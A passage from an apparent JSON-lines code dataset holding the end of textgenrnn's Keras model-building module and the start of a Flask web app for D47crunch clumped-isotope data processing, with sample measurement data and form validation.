backend as K\nfrom .AttentionWeightedAverage import AttentionWeightedAverage\n\n\ndef textgenrnn_model(num_classes, cfg, context_size=None,\n weights_path=None,\n dropout=0.0,\n optimizer=RMSprop(lr=4e-3, rho=0.99)):\n '''\n Builds the model architecture for textgenrnn and\n loads the specified weights for the model.\n '''\n\n input = Input(shape=(cfg['max_length'],), name='input')\n embedded = Embedding(num_classes, cfg['dim_embeddings'],\n input_length=cfg['max_length'],\n name='embedding')(input)\n\n if dropout > 0.0:\n embedded = SpatialDropout1D(dropout, name='dropout')(embedded)\n\n rnn_layer_list = []\n for i in range(cfg['rnn_layers']):\n prev_layer = embedded if i == 0 else rnn_layer_list[-1]\n if cfg.get('rnn_type') == 'gru':\n rnn_layer_list.append(new_rnn_gru(cfg, i + 1)(prev_layer))\n else:\n rnn_layer_list.append(new_rnn(cfg, i + 1)(prev_layer))\n\n seq_concat = concatenate([embedded] + rnn_layer_list, name='rnn_concat')\n attention = AttentionWeightedAverage(name='attention')(seq_concat)\n output = Dense(num_classes, name='output', activation='softmax')(attention)\n\n if context_size is None:\n model = Model(inputs=[input], outputs=[output])\n if weights_path is not None:\n model.load_weights(weights_path, by_name=True)\n model.compile(loss='categorical_crossentropy', optimizer=optimizer)\n\n else:\n context_input = Input(\n shape=(context_size,), name='context_input')\n context_reshape = Reshape((context_size,),\n name='context_reshape')(context_input)\n merged = concatenate([attention, context_reshape], name='concat')\n main_output = Dense(num_classes, name='context_output',\n activation='softmax')(merged)\n\n model = Model(inputs=[input, context_input],\n outputs=[main_output, output])\n if weights_path is not None:\n model.load_weights(weights_path, by_name=True)\n model.compile(loss='categorical_crossentropy', optimizer=optimizer,\n loss_weights=[0.8, 0.2])\n\n return model\n\n\n'''\nCreate a new LSTM layer per parameters. Unfortunately,\neach combination of parameters must be hardcoded.\n\nThe normal LSTMs use sigmoid recurrent activations\nfor parity with CuDNNLSTM:\nhttps://github.com/keras-team/keras/issues/8860\n'''\n\n\ndef new_rnn(cfg, layer_num):\n use_cudnnlstm = K.backend() == 'tensorflow' and len(K.tensorflow_backend._get_available_gpus()) > 0\n if use_cudnnlstm:\n from keras.layers import CuDNNLSTM\n if cfg['rnn_bidirectional']:\n return Bidirectional(CuDNNLSTM(cfg['rnn_size'],\n return_sequences=True),\n name='rnn_{}'.format(layer_num))\n\n return CuDNNLSTM(cfg['rnn_size'],\n return_sequences=True,\n name='rnn_{}'.format(layer_num))\n else:\n if cfg['rnn_bidirectional']:\n return Bidirectional(LSTM(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid'),\n name='rnn_{}'.format(layer_num))\n\n return LSTM(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n name='rnn_{}'.format(layer_num))\n\n\ndef new_rnn_gru(cfg, layer_num):\n use_cudnngru = K.backend() == 'tensorflow' and len(K.tensorflow_backend._get_available_gpus()) > 0\n if use_cudnngru:\n from keras.layers import CuDNNGRU\n if cfg['rnn_bidirectional']:\n return Bidirectional(CuDNNGRU(cfg['rnn_size'],\n return_sequences=True),\n name='rnn_{}'.format(layer_num))\n\n return CuDNNGRU(cfg['rnn_size'],\n return_sequences=True,\n name='rnn_{}'.format(layer_num))\n else:\n if cfg['rnn_bidirectional']:\n return Bidirectional(GRU(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n reset_after=True),\n name='rnn_{}'.format(layer_num))\n\n return GRU(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n reset_after=True,\n name='rnn_{}'.format(layer_num))\n", "source": "cosandr/textgenrnn", "license": "MIT"} {"text": "#! /usr/bin/env python3\n\n# from datetime import datetime\n# from random import choices\n# from string import ascii_lowercase\nfrom flask import Flask, request, render_template, Response, send_file\nfrom flaskext.markdown import Markdown\nfrom D47crunch import D47data, pretty_table, make_csv, smart_type\nfrom D47crunch import __version__ as vD47crunch\nimport zipfile, io, time\nfrom pylab import *\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport base64\nfrom werkzeug.wsgi import FileWrapper\n\nfrom matplotlib import rcParams\n\n# rcParams['backend'] = 'Agg'\n# rcParams['interactive'] = False\nrcParams['font.family'] = 'Helvetica'\nrcParams['font.sans-serif'] = 'Helvetica'\nrcParams['font.size'] = 10\nrcParams['mathtext.fontset'] = 'custom'\nrcParams['mathtext.rm'] = 'sans'\nrcParams['mathtext.bf'] = 'sans:bold'\nrcParams['mathtext.it'] = 'sans:italic'\nrcParams['mathtext.cal'] = 'sans:italic'\nrcParams['mathtext.default'] = 'rm'\nrcParams['xtick.major.size'] = 4\nrcParams['xtick.major.width'] = 1\nrcParams['ytick.major.size'] = 4\nrcParams['ytick.major.width'] = 1\nrcParams['axes.grid'] = False\nrcParams['axes.linewidth'] = 1\nrcParams['grid.linewidth'] = .75\nrcParams['grid.linestyle'] = '-'\nrcParams['grid.alpha'] = .15\nrcParams['savefig.dpi'] = 150\n\n__author__ = 'Mathieu Da\u00ebron'\n__contact__ = 'daeron@lsce.ipsl.fr'\n__copyright__ = 'Copyright (c) 2020 Mathieu Da\u00ebron'\n__license__ = 'Modified BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__date__ = '2020-04-22'\n__version__ = '2.1.dev2'\n\nrawdata_input_str = '''UID\\tSession\\tSample\\td45\\td46\\td47\\tNominal_d13C_VPDB\\tNominal_d18O_VPDB\nA01\\tSession01\\tETH-1\\t5.795017\\t11.627668\\t16.893512\\t2.02\\t-2.19\nA02\\tSession01\\tIAEA-C1\\t6.219070\\t11.491072\\t17.277490\nA03\\tSession01\\tETH-2\\t-6.058681\\t-4.817179\\t-11.635064\\t-10.17\\t-18.69\nA04\\tSession01\\tIAEA-C2\\t-3.861839\\t4.941839\\t0.606117\nA05\\tSession01\\tETH-3\\t5.543654\\t12.052277\\t17.405548\\t1.71\\t-1.78\nA06\\tSession01\\tMERCK\\t-35.929352\\t-2.087501\\t-39.548484\nA07\\tSession01\\tETH-4\\t-6.222218\\t-5.194170\\t-11.944111\nA08\\tSession01\\tETH-2\\t-6.067055\\t-4.877104\\t-11.699265\\t-10.17\\t-18.69\nA09\\tSession01\\tMERCK\\t-35.930739\\t-2.080798\\t-39.545632\nA10\\tSession01\\tETH-1\\t5.788207\\t11.559104\\t16.801908\\t2.02\\t-2.19\nA11\\tSession01\\tETH-4\\t-6.217508\\t-5.221407\\t-11.987503\nA12\\tSession01\\tIAEA-C2\\t-3.876921\\t4.868892\\t0.521845\nA13\\tSession01\\tETH-3\\t5.539840\\t12.013444\\t17.368631\\t1.71\\t-1.78\nA14\\tSession01\\tIAEA-C1\\t6.219046\\t11.447846\\t17.234280\nA15\\tSession01\\tMERCK\\t-35.932060\\t-2.088659\\t-39.531627\nA16\\tSession01\\tETH-3\\t5.516658\\t11.978320\\t17.295740\\t1.71\\t-1.78\nA17\\tSession01\\tETH-4\\t-6.223370\\t-5.253980\\t-12.025298\nA18\\tSession01\\tETH-2\\t-6.069734\\t-4.868368\\t-11.688559\\t-10.17\\t-18.69\nA19\\tSession01\\tIAEA-C1\\t6.213642\\t11.465109\\t17.244547\nA20\\tSession01\\tETH-1\\t5.789982\\t11.535603\\t16.789811\\t2.02\\t-2.19\nA21\\tSession01\\tETH-4\\t-6.205703\\t-5.144529\\t-11.909160\nA22\\tSession01\\tIAEA-C1\\t6.212646\\t11.406548\\t17.187214\nA23\\tSession01\\tETH-3\\t5.531413\\t11.976697\\t17.332700\\t1.71\\t-1.78\nA24\\tSession01\\tMERCK\\t-35.926347\\t-2.124579\\t-39.582201\nA25\\tSession01\\tETH-1\\t5.786979\\t11.527864\\t16.775547\\t2.02\\t-2.19\nA26\\tSession01\\tIAEA-C2\\t-3.866505\\t4.874630\\t0.525332\nA27\\tSession01\\tETH-2\\t-6.076302\\t-4.922424\\t-11.753283\\t-10.17\\t-18.69\nA28\\tSession01\\tIAEA-C2\\t-3.878438\\t4.818588\\t0.467595\nA29\\tSession01\\tETH-3\\t5.546458\\t12.133931\\t17.501646\\t1.71\\t-1.78\nA30\\tSession01\\tETH-1\\t5.802916\\t11.642685\\t16.904286\\t2.02\\t-2.19\nA31\\tSession01\\tETH-2\\t-6.069274\\t-4.847919\\t-11.677722\\t-10.17\\t-18.69\nA32\\tSession01\\tETH-3\\t5.523018\\t12.007363\\t17.362080\\t1.71\\t-1.78\nA33\\tSession01\\tETH-1\\t5.802333\\t11.616032\\t16.884255\\t2.02\\t-2.19\nA34\\tSession01\\tETH-3\\t5.537375\\t12.000263\\t17.350856\\t1.71\\t-1.78\nA35\\tSession01\\tETH-2\\t-6.060713\\t-4.893088\\t-11.728465\\t-10.17\\t-18.69\nA36\\tSession01\\tETH-3\\t5.532342\\t11.990022\\t17.342273\\t1.71\\t-1.78\nA37\\tSession01\\tETH-3\\t5.533622\\t11.980853\\t17.342245\\t1.71\\t-1.78\nA38\\tSession01\\tIAEA-C2\\t-3.867587\\t4.893554\\t0.540404\nA39\\tSession01\\tIAEA-C1\\t6.201760\\t11.406628\\t17.189625\nA40\\tSession01\\tETH-1\\t5.802150\\t11.563414\\t16.836189\\t2.02\\t-2.19\nA41\\tSession01\\tETH-2\\t-6.068598\\t-4.897545\\t-11.722343\\t-10.17\\t-18.69\nA42\\tSession01\\tMERCK\\t-35.928359\\t-2.098440\\t-39.577150\nA43\\tSession01\\tETH-4\\t-6.219175\\t-5.168031\\t-11.936923\nA44\\tSession01\\tIAEA-C2\\t-3.871671\\t4.871517\\t0.518290\nB01\\tSession02\\tETH-1\\t5.800180\\t11.640916\\t16.939044\\t2.02\\t-2.19\nB02\\tSession02\\tETH-1\\t5.799584\\t11.631297\\t16.917656\\t2.02\\t-2.19\nB03\\tSession02\\tIAEA-C1\\t6.225135\\t11.512637\\t17.335876\nB04\\tSession02\\tETH-2\\t-6.030415\\t-4.746444\\t-11.525506\\t-10.17\\t-18.69\nB05\\tSession02\\tIAEA-C2\\t-3.837017\\t4.992780\\t0.675292\nB06\\tSession02\\tETH-3\\t5.536997\\t12.048918\\t17.420228\\t1.71\\t-1.78\nB07\\tSession02\\tMERCK\\t-35.928379\\t-2.105615\\t-39.594573\nB08\\tSession02\\tETH-4\\t-6.218801\\t-5.185168\\t-11.964407\nB09\\tSession02\\tETH-2\\t-6.068197\\t-4.840037\\t-11.686296\\t-10.17\\t-18.69\nB10\\tSession02\\tMERCK\\t-35.926951\\t-2.071047\\t-39.546767\nB11\\tSession02\\tETH-1\\t5.782634\\t11.571818\\t16.835185\\t2.02\\t-2.19\nB12\\tSession02\\tETH-2\\t-6.070168\\t-4.877700\\t-11.703876\\t-10.17\\t-18.69\nB13\\tSession02\\tETH-4\\t-6.214873\\t-5.190550\\t-11.967040\nB14\\tSession02\\tIAEA-C2\\t-3.853550\\t4.919425\\t0.584634\nB15\\tSession02\\tETH-3\\t5.522265\\t12.011737\\t17.368407\\t1.71\\t-1.78\nB16\\tSession02\\tIAEA-C1\\t6.219374\\t11.447014\\t17.264258\nB17\\tSession02\\tMERCK\\t-35.927733\\t-2.103033\\t-39.603494\nB18\\tSession02\\tETH-3\\t5.527002\\t11.984062\\t17.332660\\t1.71\\t-1.78\nB19\\tSession02\\tIAEA-C2\\t-3.850358\\t4.889230\\t0.562794\nB20\\tSession02\\tETH-4\\t-6.222398\\t-5.263817\\t-12.033650\nB21\\tSession02\\tETH-3\\t5.525478\\t11.970096\\t17.340498\\t1.71\\t-1.78\nB22\\tSession02\\tETH-2\\t-6.070129\\t-4.941487\\t-11.773824\\t-10.17\\t-18.69\nB23\\tSession02\\tIAEA-C1\\t6.217001\\t11.434152\\t17.232308\nB24\\tSession02\\tETH-1\\t5.793421\\t11.533191\\t16.810838\\t2.02\\t-2.19\nB25\\tSession02\\tETH-4\\t-6.217740\\t-5.198048\\t-11.977179\nB26\\tSession02\\tIAEA-C1\\t6.216912\\t11.425200\\t17.234224\nB27\\tSession02\\tETH-3\\t5.522238\\t11.932174\\t17.286903\\t1.71\\t-1.78\nB28\\tSession02\\tMERCK\\t-35.914404\\t-2.133955\\t-39.614612\nB29\\tSession02\\tETH-1\\t5.784156\\t11.517244\\t16.786548\\t2.02\\t-2.19\nB30\\tSession02\\tIAEA-C2\\t-3.852750\\t4.884339\\t0.551587\nB31\\tSession02\\tETH-2\\t-6.068631\\t-4.924103\\t-11.764507\\t-10.17\\t-18.69\nB32\\tSession02\\tETH-4\\t-6.220238\\t-5.231375\\t-12.009300\nB33\\tSession02\\tIAEA-C2\\t-3.855245\\t4.866571\\t0.534914\nB34\\tSession02\\tETH-1\\t5.788790\\t11.544306\\t16.809117\\t2.02\\t-2.19\nB35\\tSession02\\tMERCK\\t-35.935017\\t-2.173682\\t-39.664046\nB36\\tSession02\\tETH-3\\t5.518320\\t11.955048\\t17.300668\\t1.71\\t-1.78\nB37\\tSession02\\tETH-1\\t5.790564\\t11.521174\\t16.781304\\t2.02\\t-2.19\nB38\\tSession02\\tETH-4\\t-6.218809\\t-5.205256\\t-11.979998\nB39\\tSession02\\tIAEA-C1\\t6.204774\\t11.391335\\t17.181310\nB40\\tSession02\\tETH-2\\t-6.076424\\t-4.967973\\t-11.815466\\t-10.17\\t-18.69\nC01\\tSession03\\tETH-3\\t5.541868\\t12.129615\\t17.503738\\t1.71\\t-1.78\nC02\\tSession03\\tETH-3\\t5.534395\\t12.034601\\t17.391274\\t1.71\\t-1.78\nC03\\tSession03\\tETH-1\\t5.797568\\t11.563575\\t16.857871\\t2.02\\t-2.19\nC04\\tSession03\\tETH-3\\t5.529415\\t11.969512\\t17.342673\\t1.71\\t-1.78\nC05\\tSession03\\tETH-1\\t5.794026\\t11.526540\\t16.806934\\t2.02\\t-2.19\nC06\\tSession03\\tETH-3\\t5.527210\\t11.937462\\t17.294015\\t1.71\\t-1.78\nC07\\tSession03\\tIAEA-C1\\t6.220521\\t11.430197\\t17.242458\nC08\\tSession03\\tETH-2\\t-6.064061\\t-4.900852\\t-11.732976\\t-10.17\\t-18.69\nC09\\tSession03\\tIAEA-C2\\t-3.846482\\t4.889242\\t0.558395\nC10\\tSession03\\tETH-1\\t5.789644\\t11.520663\\t16.795837\\t2.02\\t-2.19\nC11\\tSession03\\tETH-4\\t-6.219385\\t-5.258604\\t-12.036476\nC12\\tSession03\\tMERCK\\t-35.936631\\t-2.161769\\t-39.693775\nC13\\tSession03\\tETH-2\\t-6.076357\\t-4.939912\\t-11.803553\\t-10.17\\t-18.69\nC14\\tSession03\\tIAEA-C2\\t-3.862518\\t4.850015\\t0.499777\nC15\\tSession03\\tETH-3\\t5.515822\\t11.928316\\t17.287739\\t1.71\\t-1.78\nC16\\tSession03\\tETH-4\\t-6.216625\\t-5.252914\\t-12.033781\nC17\\tSession03\\tETH-1\\t5.792540\\t11.537788\\t16.801906\\t2.02\\t-2.19\nC18\\tSession03\\tIAEA-C1\\t6.218853\\t11.447394\\t17.270859\nC19\\tSession03\\tETH-2\\t-6.070107\\t-4.944520\\t-11.806885\\t-10.17\\t-18.69\nC20\\tSession03\\tMERCK\\t-35.935001\\t-2.155577\\t-39.675070\nC21\\tSession03\\tETH-3\\t5.542309\\t12.082338\\t17.471951\\t1.71\\t-1.78\nC22\\tSession03\\tETH-4\\t-6.209017\\t-5.137393\\t-11.920935\nC23\\tSession03\\tETH-1\\t5.796781\\t11.621197\\t16.905496\\t2.02\\t-2.19\nC24\\tSession03\\tMERCK\\t-35.926449\\t-2.053921\\t-39.576918\nC25\\tSession03\\tETH-2\\t-6.057158\\t-4.797641\\t-11.644824\\t-10.17\\t-18.69\nC26\\tSession03\\tIAEA-C1\\t6.221982\\t11.501725\\t17.321709\nC27\\tSession03\\tETH-3\\t5.535162\\t12.023486\\t17.396560\\t1.71\\t-1.78\nC28\\tSession03\\tIAEA-C2\\t-3.836934\\t4.984196\\t0.665651\nC29\\tSession03\\tETH-3\\t5.531331\\t11.991300\\t17.353622\\t1.71\\t-1.78\nC30\\tSession03\\tIAEA-C2\\t-3.844008\\t4.926554\\t0.601156\nC31\\tSession03\\tETH-2\\t-6.063163\\t-4.907454\\t-11.765065\\t-10.17\\t-18.69\nC32\\tSession03\\tMERCK\\t-35.941566\\t-2.163022\\t-39.704731\nC33\\tSession03\\tETH-3\\t5.523894\\t11.992718\\t17.363902\\t1.71\\t-1.78\nC34\\tSession03\\tIAEA-C1\\t6.220801\\t11.462090\\t17.282153\nC35\\tSession03\\tETH-1\\t5.794369\\t11.563017\\t16.845673\\t2.02\\t-2.19\nC36\\tSession03\\tETH-4\\t-6.221257\\t-5.272969\\t-12.055444\nC37\\tSession03\\tETH-3\\t5.517832\\t11.957180\\t17.312487\\t1.71\\t-1.78\nC38\\tSession03\\tETH-2\\t-6.053330\\t-4.909476\\t-11.740852\\t-10.17\\t-18.69\nC39\\tSession03\\tIAEA-C1\\t6.217139\\t11.440085\\t17.244787\nC40\\tSession03\\tETH-1\\t5.794091\\t11.541948\\t16.826158\\t2.02\\t-2.19\nC41\\tSession03\\tIAEA-C2\\t-3.803466\\t4.894953\\t0.624184\nC42\\tSession03\\tETH-3\\t5.513788\\t11.933062\\t17.286883\\t1.71\\t-1.78\nC43\\tSession03\\tETH-1\\t5.793334\\t11.569668\\t16.844535\\t2.02\\t-2.19\nC44\\tSession03\\tETH-2\\t-6.064928\\t-4.935031\\t-11.786336\\t-10.17\\t-18.69\nC45\\tSession03\\tETH-4\\t-6.216796\\t-5.300373\\t-12.075033\nC46\\tSession03\\tETH-3\\t5.521772\\t11.933713\\t17.283775\\t1.71\\t-1.78\nC47\\tSession03\\tMERCK\\t-35.937762\\t-2.181553\\t-39.739636\nD01\\tSession04\\tETH-4\\t-6.218867\\t-5.242334\\t-12.032129\nD02\\tSession04\\tIAEA-C1\\t6.218458\\t11.435622\\t17.238776\nD03\\tSession04\\tETH-3\\t5.522006\\t11.946540\\t17.300601\\t1.71\\t-1.78\nD04\\tSession04\\tMERCK\\t-35.931765\\t-2.175265\\t-39.716152\nD05\\tSession04\\tETH-1\\t5.786884\\t11.560397\\t16.823187\\t2.02\\t-2.19\nD06\\tSession04\\tIAEA-C2\\t-3.846071\\t4.861980\\t0.534465\nD07\\tSession04\\tETH-2\\t-6.072653\\t-4.917987\\t-11.786215\\t-10.17\\t-18.69\nD08\\tSession04\\tETH-3\\t5.516592\\t11.923729\\t17.275641\\t1.71\\t-1.78\nD09\\tSession04\\tETH-1\\t5.789889\\t11.531354\\t16.804221\\t2.02\\t-2.19\nD10\\tSession04\\tIAEA-C2\\t-3.845074\\t4.865635\\t0.546284\nD11\\tSession04\\tETH-1\\t5.795006\\t11.507829\\t16.772751\\t2.02\\t-2.19\nD12\\tSession04\\tETH-1\\t5.791371\\t11.540606\\t16.822704\\t2.02\\t-2.19\nD13\\tSession04\\tETH-2\\t-6.074029\\t-4.937379\\t-11.786614\\t-10.17\\t-18.69\nD14\\tSession04\\tETH-4\\t-6.216977\\t-5.273352\\t-12.057294\nD15\\tSession04\\tIAEA-C1\\t6.214304\\t11.412869\\t17.227005\nD16\\tSession04\\tETH-2\\t-6.071021\\t-4.966406\\t-11.812116\\t-10.17\\t-18.69\nD17\\tSession04\\tETH-3\\t5.543181\\t12.065648\\t17.455042\\t1.71\\t-1.78\nD18\\tSession04\\tETH-1\\t5.805793\\t11.632212\\t16.937561\\t2.02\\t-2.19\nD19\\tSession04\\tIAEA-C1\\t6.230425\\t11.518038\\t17.342943\nD20\\tSession04\\tETH-2\\t-6.049292\\t-4.811109\\t-11.639895\\t-10.17\\t-18.69\nD21\\tSession04\\tIAEA-C2\\t-3.829436\\t4.967992\\t0.665451\nD22\\tSession04\\tETH-3\\t5.538827\\t12.064780\\t17.438156\\t1.71\\t-1.78\nD23\\tSession04\\tMERCK\\t-35.935604\\t-2.092229\\t-39.632228\nD24\\tSession04\\tETH-4\\t-6.215430\\t-5.166894\\t-11.939419\nD25\\tSession04\\tETH-2\\t-6.068214\\t-4.868420\\t-11.716099\\t-10.17\\t-18.69\nD26\\tSession04\\tMERCK\\t-35.918898\\t-2.041585\\t-39.566777\nD27\\tSession04\\tETH-1\\t5.786924\\t11.584138\\t16.861248\\t2.02\\t-2.19\nD28\\tSession04\\tETH-2\\t-6.062115\\t-4.820423\\t-11.664703\\t-10.17\\t-18.69\nD29\\tSession04\\tETH-4\\t-6.210819\\t-5.160997\\t-11.943417\nD30\\tSession04\\tIAEA-C2\\t-3.842542\\t4.937635\\t0.603831\nD31\\tSession04\\tETH-3\\t5.527648\\t11.985083\\t17.353603\\t1.71\\t-1.78\nD32\\tSession04\\tIAEA-C1\\t6.221429\\t11.481788\\t17.284825\nD33\\tSession04\\tMERCK\\t-35.922066\\t-2.113682\\t-39.642962\nD34\\tSession04\\tETH-3\\t5.521955\\t11.989323\\t17.345179\\t1.71\\t-1.78\nD35\\tSession04\\tIAEA-C2\\t-3.838229\\t4.937180\\t0.617586\nD36\\tSession04\\tETH-4\\t-6.215638\\t-5.221584\\t-11.999819\nD37\\tSession04\\tETH-2\\t-6.067508\\t-4.893477\\t-11.754488\\t-10.17\\t-18.69\nD38\\tSession04\\tIAEA-C1\\t6.214580\\t11.440629\\t17.254051'''\n\napp = Flask(__name__)\nMarkdown(app, extensions = [\n\t'markdown.extensions.tables',\n# \t'pymdownx.magiclink',\n# \t'pymdownx.betterem',\n\t'pymdownx.highlight',\n\t'pymdownx.tilde',\n\t'pymdownx.caret',\n# \t'pymdownx.emoji',\n# \t'pymdownx.tasklist',\n\t'pymdownx.superfences'\n\t])\n\ndefault_payload = {\n\t'display_results': False,\n\t'error_msg': '',\n\t'rawdata_input_str': rawdata_input_str,\n\t'o17_R13_VPDB': 0.01118,\n\t'o17_R18_VSMOW': 0.0020052,\n\t'o17_R17_VSMOW': 0.00038475,\n\t'o17_lambda': 0.528,\n\t'd13C_stdz_setting': 'd13C_stdz_setting_2pt',\n\t'd18O_stdz_setting': 'd18O_stdz_setting_2pt',\n\t'wg_setting': 'wg_setting_fromsamples',\n# \t'wg_setting_fromsample_samplename': 'ETH-3',\n# \t'wg_setting_fromsample_d13C': 1.71,\n# \t'wg_setting_fromsample_d18O': -1.78,\n\t'acidfrac_setting': 1.008129,\n\t'rf_input_str': '0.258\\tETH-1\\n0.256\\tETH-2\\n0.691\\tETH-3',\n\t'stdz_method_setting': 'stdz_method_setting_pooled',\n\t}\n\n@app.route('/faq/')\ndef faq():\n\twith open(f'{app.root_path}/faq.md') as fid:\n\t\tmd = fid.read()\n\treturn render_template('faq.html', md = md, vD47crunch = vD47crunch)\n\t\n\t\n@app.route('/readme/')\ndef readme():\n\twith open(f'{app.root_path}/README.md') as fid:\n\t\tmd = fid.read()\n\theadless_md = md[md.find('\\n'):]\n\treturn render_template('readme.html', md = headless_md, vD47crunch = vD47crunch)\n\t\n\n@app.route('/', methods = ['GET', 'POST'])\ndef main():\n\tif request.method == 'GET':\n\t\treturn start()\n\telse:\n\t\tif request.form['action'] == 'Process':\n\t\t\treturn proceed()\n\t\telif request.form['action'] == 'Download zipped results':\n\t\t\treturn zipresults()\n\ndef start():\n\tpayload = default_payload.copy()\n# \tpayload['token'] = datetime.now().strftime('%y%m%d') + ''.join(choices(ascii_lowercase, k=5))\n\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\ndef proceed():\n\tpayload = dict(request.form)\n\tdata = D47data()\n\n\tif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_2pt':\n\t\tdata.d13C_STANDARDIZATION_METHOD = '2pt'\n\telif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_1pt':\n\t\tdata.d13C_STANDARDIZATION_METHOD = '1pt'\n\telif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_none':\n\t\tdata.d13C_STANDARDIZATION_METHOD = 'none'\n\n\tif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_2pt':\n\t\tdata.d18O_STANDARDIZATION_METHOD = '2pt'\n\telif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_1pt':\n\t\tdata.d18O_STANDARDIZATION_METHOD = '1pt'\n\telif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_none':\n\t\tdata.d18O_STANDARDIZATION_METHOD = 'none'\n\n\tanchors = [l.split('\\t') for l in payload['rf_input_str'].splitlines() if '\\t' in l]\n\tdata.Nominal_D47 = {l[1]: float(l[0]) for l in anchors}\n\n\ttry:\n\t\tdata.R13_VPDB = float(payload['o17_R13_VPDB'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R13_VPDB in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\n\ttry:\n\t\tdata.R18_VSMOW = float(payload['o17_R18_VSMOW'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R18_VSMOW in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\n\ttry:\n\t\tdata.R17_VSMOW = float(payload['o17_R17_VSMOW'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R17_VSMOW in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\ttry:\n\t\tdata.lambda_17 = float(payload['o17_lambda'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of \u03bb in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tdata.input(payload['rawdata_input_str'])\n# \ttry:\n# \t\tdata.input(payload['rawdata_input_str'], '\\t')\n# \texcept:\n# \t\tpayload['error_msg'] = 'Raw data input failed for some reason.'\n# \t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tfor r in data:\n\t\tfor k in ['UID', 'Sample', 'Session', 'd45', 'd46', 'd47']:\n\t\t\tif k not in r or r[k] == '':\n\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" is missing field \"{k}\".'\n\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\tfor k in ['d45', 'd46', 'd47']:\n\t\t\tif not isinstance(r[k], (int, float)):\n\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" should have a valid number for field \"{k}\".'\n\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tif payload['wg_setting'] == 'wg_setting_fromsamples':\n\n# \t\tif payload['wg_setting_fromsample_samplename'] == '':\n# \t\t\tpayload['error_msg'] = 'Empty sample name in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\twg_setting_fromsample_samplename = payload['wg_setting_fromsample_samplename']\n# \n# \t\tfor s in data.sessions:\n# \t\t\tif wg_setting_fromsample_samplename not in [r['Sample'] for r in data.sessions[s]['data']]:\n# \t\t\t\tpayload['error_msg'] = f'Sample name from WG settings (\"{wg_setting_fromsample_samplename}\") not found in session \"{s}\".'\n# \t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\ttry:\n# \t\t\twg_setting_fromsample_d13C = float(payload['wg_setting_fromsample_d13C'])\n# \t\texcept:\n# \t\t\tpayload['error_msg'] = 'Check the \u03b413C value in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\ttry:\n# \t\t\twg_setting_fromsample_d18O = float(payload['wg_setting_fromsample_d18O'])\n# \t\texcept:\n# \t\t\tpayload['error_msg'] = 'Check the \u03b418O value in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\t\ttry:\n\t\t\tacidfrac = float(payload['acidfrac_setting'])\n\t\texcept:\n\t\t\tpayload['error_msg'] = 'Check the acid fractionation value.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\t\tif acidfrac == 0:\n\t\t\tpayload['error_msg'] = 'Acid fractionation value should be greater than zero.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tif payload['wg_setting'] == 'wg_setting_fromsamples':\n\n\t\tdata.Nominal_d13C_VPDB = {}\n\t\tdata.Nominal_d18O_VPDB = {}\n\t\tfor r in data:\n\t\t\tif 'Nominal_d13C_VPDB' in r:\n\t\t\t\tif r['Sample'] in data.Nominal_d13C_VPDB:\n\t\t\t\t\tif data.Nominal_d13C_VPDB[r['Sample']] != r['Nominal_d13C_VPDB']:\n\t\t\t\t\t\tpayload['error_msg'] = f\"Inconsistent Nominal_d13C_VPDB value for {r['Sample']} (analysis: {r['UID']}).\"\n\t\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tdata.Nominal_d13C_VPDB[r['Sample']] = r['Nominal_d13C_VPDB']\n\t\t\tif 'Nominal_d18O_VPDB' in r:\n\t\t\t\tif r['Sample'] in data.Nominal_d18O_VPDB:\n\t\t\t\t\tif data.Nominal_d18O_VPDB[r['Sample']] != r['Nominal_d18O_VPDB']:\n\t\t\t\t\t\tpayload['error_msg'] = f\"Inconsistent Nominal_d18O_VPDB value for {r['Sample']} (analysis {r['UID']}).\"\n\t\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tdata.Nominal_d18O_VPDB[r['Sample']] = r['Nominal_d18O_VPDB']\n\n\t\ttry:\n\t\t\tdata.wg(a18_acid = acidfrac)\n\t\texcept:\n\t\t\tpayload['error_msg'] = 'WG computation failed for some reason.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\n\tif payload['wg_setting'] == 'wg_setting_explicit':\n\t\tfor r in 